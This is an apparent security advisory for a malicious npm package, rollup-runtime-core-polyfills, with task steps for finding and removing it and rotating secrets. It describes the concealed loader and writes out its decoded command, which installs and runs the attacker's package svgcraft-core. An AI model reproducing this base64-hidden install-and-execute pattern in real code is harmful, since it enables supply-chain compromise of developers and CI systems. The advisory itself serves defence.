MAL-2026-11145 Malicious code in rollup-runtime-core-polyfills (npm)
Malicious package
Published
MAL-2026-11145 is a malicious package: rollup-runtime-core-polyfills (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-11145/ (Markdown: https://insights.sbomify.com/MAL-2026-11145/index.md)
- Package
- rollup-runtime-core-polyfills
- Registry
- npm
What is MAL-2026-11145?
MAL-2026-11145 is a malicious package in rollup-runtime-core-polyfills, published on 28 Jul 2026.
Official description
The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command
npm install svgcraft-core --no-save --silent --no-audit --no-fund, spawns it via child_process.spawn, and on completion calls require('svgcraft-core').getPlugin()() — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.What should I do about MAL-2026-11145?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.